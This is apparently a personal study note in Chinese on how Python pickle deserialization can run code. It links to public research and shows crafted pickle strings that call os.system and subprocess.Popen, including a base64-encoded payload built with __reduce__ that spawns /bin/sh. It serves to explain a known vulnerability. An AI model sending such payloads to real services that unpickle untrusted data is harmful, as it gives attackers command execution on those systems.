python pickle 工作原理

pickle

http://media.blackhat.com/bh-us-11/Slaviero/BH_US_11_Slaviero_Sour_Pickles_WP.pdf

https://blog.nelhage.com/2011/03/exploiting-pickle/

https://lincolnloop.com/blog/playing-pickle-security/

>>> import pickletools
>>> print pickletools.dis("cos\nsystem\n(S'ls ~'\ntR.")
    0: c    GLOBAL     'os system'
   11: (    MARK
   12: S        STRING     'ls ~'
   20: t        TUPLE      (MARK at 11)
   21: R    REDUCE
   22: .    STOP
highest protocol among opcodes = 0
None

>>> import cPickle
>>> cPickle.loads("cos\nsystem\n(S'uname -a'\ntR.")
Linux RCM-RSAS-V6-Dev 3.9.0-aurora #4 SMP PREEMPT Fri Jun 7 14:50:52 CST 2013 i686 Intel(R) Core(TM) i7-2600 CPU @ 3.40GHz GenuineIntel GNU/Linux
0

構造簡單的執行語句，當然也可以通過類的__reduce__方法，也就是說在執行pickle反序列化的時候會用到__reduce__方法

import cPickle
import subprocess
import base64

class RunBinSh(object):
  def __reduce__(self):
    return (subprocess.Popen, (('/bin/sh',),))

print base64.b64encode(cPickle.dumps(RunBinSh()))

>>> class RunBinSh1(object):
...     def __reduce__(self):
...             return (subprocess.Popen, (('uname',),))
...
>>> print (cPickle.dumps(RunBinSh1()))
csubprocess
Popen
p1
((S'uname'
tp2
tp3
Rp4
.

>>> print cPickle.loads((cPickle.dumps(RunBinSh1())))
<subprocess.Popen object at 0xb70cebac>
>>> Linux

這樣就能簡單構造loads語句了